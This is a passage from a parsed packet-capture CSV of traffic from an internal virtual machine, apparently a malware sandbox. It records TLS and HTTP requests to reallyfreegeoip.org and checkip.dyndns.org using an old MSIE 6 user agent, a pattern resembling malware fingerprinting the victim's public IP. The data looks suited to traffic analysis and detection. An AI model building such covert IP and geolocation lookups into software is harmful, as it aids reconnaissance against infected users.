T.W..RT.{....E..cv.@...+5..z..r`.....[f..\n.&IP...Y.......6...2..i.v.Z...\\..y.................f .....\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30364, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11061, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50111, \"\"dport\"\": 443, \"\"seq\"\": 1533454274, \"\"ack\"\": 177481289, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:52  (1775728132) random_bytes=5a98eaff5cf4e779d0b5bafb91c8061194b9fd9ab0f49f8e0666208b sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:54.578361,64,TCP 188.114.96.0:443 -> 192.168.122.168:50111,188.114.96.0,192.168.122.168,443,50111,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=177481289 Ack=1533454589,5254007bb792525400577f94080045000028aa89400040063883bc726000c0a87aa801bbc3bf0a9426495b66a8fd5010005357de0000,\"RT.{..RT.W....E..(..@.@.8..r`...z.....\n.&I[f..P..SW...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 43657, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 14467, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50111, \"\"seq\"\": 177481289, \"\"ack\"\": 1533454589, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.674912,65,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496762 Ack=3385610117,525400577f945254007bb792080045000028d2974000800670bbc0a87aa884e2f749c3b40050e17451fac9cc4f85501003fdb7970000,RT.W..RT.{....E..(..@...p...z....I...P.tQ...O.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53911, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28859, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496762, \"\"ack\"\": 3385610117, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.956212,66,TCP 188.114.96.0:443 -> 192.168.122.168:50111,188.114.96.0,192.168.122.168,443,50111,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=177481289 Ack=1533454589,Error,\"Error extracting content: b'\\xb9R\\x84&\\xd1\\x95;\\x81\\xbfz\\x0e\\x8bD\\xdd\\x83\\x90\\xdb:\\xd7!\\xb5\\xde\\xe1\\x0e\\xf3\\xa9\\xc0Y\\xddx\\x16\\xe3u\\xec\\xbc\\n!\\xc5Ut\\xc9\\xe9\\x83x\\xdf\\xd6\\xb9\"\"\\xb1\\xe4\\xcf\\xba\\xe0;\\xebg\\xa4\\xcd\\x85\\xa4\\x95\\x9d\\xf4\\xb4\\xe1\\r1\\xb6\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 43658, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 14343, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50111, \"\"seq\"\": 177481289, \"\"ack\"\": 1533454589, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:54  (1777400574) random_bytes=3d48235ce943b0c1a8ca830fbf108d4bd364965e444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"\\\\\\\\xb9R\\\\\\\\x84&\\\\u0455;\\\\\\\\x81\\\\\\\\xbfz\\\\u000e\\\\\\\\x8bD\\\\u0743\\\\\\\\x90\\\\\\\\xdb:\\\\\\\\xd7!\\\\\\\\xb5\\\\\\\\xde\\\\\\\\xe1\\\\u000e\\\\\\\\xf3\\\\\\\\xa9\\\\\\\\xc0Y\\\\\\\\xddx\\\\u0016\\\\\\\\xe3u\\\\\\\\xec\\\\\\\\xbc\\\\n!\\\\\\\\xc5Ut\\\\\\\\xc9\\\\\\\\xe9\\\\\\\\x83x\\\\\\\\xdf\\\\u05b9\\\\\\\"\"\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:54.963151,67,TCP 192.168.122.168:50111 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50111,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=1533454589 Ack=177481412,525400577f945254007bb792080045000028769d400080062c6fc0a87aa8bc726000c3bf01bb5b66a8fd0a9426c45011040257de0000,\"RT.W..RT.{....E..(v.@...,o..z..r`.....[f..\n.&.P...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30365, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11375, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50111, \"\"dport\"\": 443, \"\"seq\"\": 1533454589, \"\"ack\"\": 177481412, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.963293,68,TCP 188.114.96.0:443 -> 192.168.122.168:50111,188.114.96.0,192.168.122.168,443,50111,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=177481412 Ack=1533454590,5254007bb792525400577f94080045000028aa8b400040063881bc726000c0a87aa801bbc3bf0a9426c45b66a8fe5011005357de0000,\"RT.{..RT.W....E..(..@.@.8..r`...z.....\n.&.[f..P..SW...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 43659, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 14465, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50111, \"\"seq\"\": 177481412, \"\"ack\"\": 1533454590, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.963386,69,TCP 192.168.122.168:50111 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50111,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1533454590 Ack=177481413,525400577f945254007bb792080045000028769e400080062c6ec0a87aa8bc726000c3bf01bb5b66a8fe0a9426c55010040257de0000,\"RT.W..RT.{....E..(v.@...,n..z..r`.....[f..\n.&.P...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30366, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11374, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50111, \"\"dport\"\": 443, \"\"seq\"\": 1533454590, \"\"ack\"\": 177481413, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.993879,70,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29840008006703bc0a87aa884e2f749c3b40050e17451fac9cc4f85501803fdb8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p;..z....I...P.tQ...O.P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53912, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28731, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496762, \"\"ack\"\": 3385610117, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:54.993925,71,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385610117 Ack=3782496889,5254007bb792525400577f9408004500002838d6400040064a7d84e2f749c0a87aa80050c3b4c9cc4f85e174527950100053b7970000,RT.{..RT.W....E..(8.@.@.J}...I..z..P....O..tRyP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14550, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19069, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610117, \"\"ack\"\": 3782496889, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.507824,72,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938d740004006494b84e2f749c0a87aa80050c3b4c9cc4f85e174527950180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353520474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14551, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18763, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610117, \"\"ack\"\": 3782496889, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:55 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:55.509256,73,TCP 192.168.122.168:50112 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50112,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2730598044 Ack=0,525400577f945254007bb792080045000034769f400080062c61c0a87aa8bc726000c3c001bba2c19e9c000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,a..z..r`.................W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30367, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11361, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": 